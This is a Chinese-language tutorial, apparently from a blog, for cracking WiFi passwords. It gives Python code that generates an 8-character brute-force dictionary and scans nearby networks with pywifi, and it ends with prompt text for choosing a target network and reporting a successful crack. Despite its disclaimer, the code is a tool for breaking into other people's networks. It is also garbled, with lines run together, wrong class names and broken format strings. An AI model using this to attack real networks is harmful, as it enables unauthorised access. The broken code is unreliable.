免责声明:本教程仅用于学习和研究目的,请勿非法破解他人WiFi密码。
一般字典包括:数字(0-9)、字母(a-z,区分大小写)、特殊字符(!@#$%^&*()_+=~)
常规的wifi密码为8位,且仅包括数字和小写字母。
所以我们可以从数字和字母组成的字符串中随机挑选出8位(单个字符可重复出现),作为wifi密码组成字典存入txt文档。
import itertools as itswords = "123456789abcdefghijklmnopqrstuvwxyz" # 可选择的字符r = its.product(words, repeat=8) # 组成8位字符串dic = open("pwd.txt", "a") # 存储为wifi密码字典# wifi密码完成换行,并写入txt文档for i in r: dic.write("".join(i)) dic.write("".join("\n")) # 注意:可能应为 dic.write('\n')dic.close()
import pywifiimport timefrom pywifi import const# WiFi扫描模块def wifi_scan(): # 初始化WiFi wifi = pywifi.Pywifi() # 注意:可能应为 PyWiFi() # 使用同一个无线网卡 interface = wifi.interfaces()[0] for i in range(4): time.sleep(1) print(f"WiFi扫描可用 {i} 个...") print(f"\r扫描完成!\n" + "-" * 38) print("\r[4:6]{:6}.format('编号', '信号强度', 'WiFi名')") # 扫描结果,scan_results()返回一个列表,存放的是每个WiFi对象 bss = interface.scan_results() # 获取WiFi设备的集合 wifi_name_set = set() for w in bss: # 删除重复项 wifi_name_and_signal = (100 * w.signal, w.ssid.encode("raw_unicode_escape").decode("utf-8")) wifi_name_set.add(wifi_name_and_signal) # 导入列表并排序 wifi_name_list = list(wifi_name_set) wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True) num = 0 # 格式化输出 while num < len(wifi_name_list): print(f"\r[{num:06d}]{:.2f}".format(num, wifi_name_list[num][0]), wifi_name_list[num][1]) # 格式化字符串错误 num += 1 print("-" * 38) # 返回WiFi列表 return wifi_name_list
通过测试,wifi密码成功破解,并自动连接。
请选择你要尝试破解的wifi:
你选择要破解的WiFi名称是:______,确定吗?(Y/N)
请输入本地用于WIFI暴力破解的密码字典(txt格式,每个密码占据1行)的路径:D
正在利用密码______尝试破解。
注意:本教程仅用于学习和研究目的,请勿非法破解他人WiFi密码。